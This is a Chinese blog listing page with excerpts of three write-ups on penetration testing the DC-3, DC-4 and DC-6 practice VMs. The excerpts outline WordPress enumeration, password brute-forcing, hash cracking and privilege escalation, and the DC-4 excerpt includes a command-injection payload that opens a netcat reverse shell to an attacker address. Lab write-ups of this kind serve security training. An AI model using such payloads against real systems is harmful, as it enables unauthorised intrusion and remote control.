- 博客(10)
- 收藏
- 关注
RSS订阅原创 DC-6靶机渗透测试
hosts定向wpscan枚举账号(因为是WordPress博客)wpscan账号密码爆破dirb目录扫描得到后台登录地址searchsploit搜索Activity monitor插件的相关漏洞，得到漏洞利用文件运行漏洞利用文件，得到反弹shell打开交互模式 python -c 'import pty;pty.spawn("/bin/bash")'进入到home目录查看DC-6的用户目录发现graham账号的密码，进行ssh登录成功使用sudo -l查看权限利用命
2023-12-20 21:24:58
874
1
原创 DC-4靶机渗透测试
1、使用kali的字典爆破登录密码： /usr/share/john下的password.lstburp抓包，并且爆破到admin账号的密码2、发现命令执行，进行利用：burp修改数据包添加反弹shell的相关命令发送到靶机，kali监听到获取shell反弹radio=nc+192.168.182.146+4444+-e+/bin/bash&submit=Run3、利用python获取交互shell：python -c 'import pty;pty.spawn("/bin/sh")
2023-12-20 18:03:57
742
1
原创 DC-3靶机渗透测试
此文件给出了打穿靶机的关键，就是提到root权限就可以拿到flag，我们进行网站漏洞测试，发现了文件上传漏洞，在Templates/Templates/Beez3。最终我们将账户与密码爆出，但密码进行了哈希加密，我们使用kali自带解密工具john进行解密，我们先将加密密文放入txt文件中，在进行解密。这里他告诉了可以使用溢出提权（exp提权），并提供了提权工具，以及使用方法，使用wget进行工具下载。啥也没有，命令提权此方法行不通，突然想到可以用操作系统漏洞提权，先查看linux版本。
2023-12-19 23:08:22
930
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人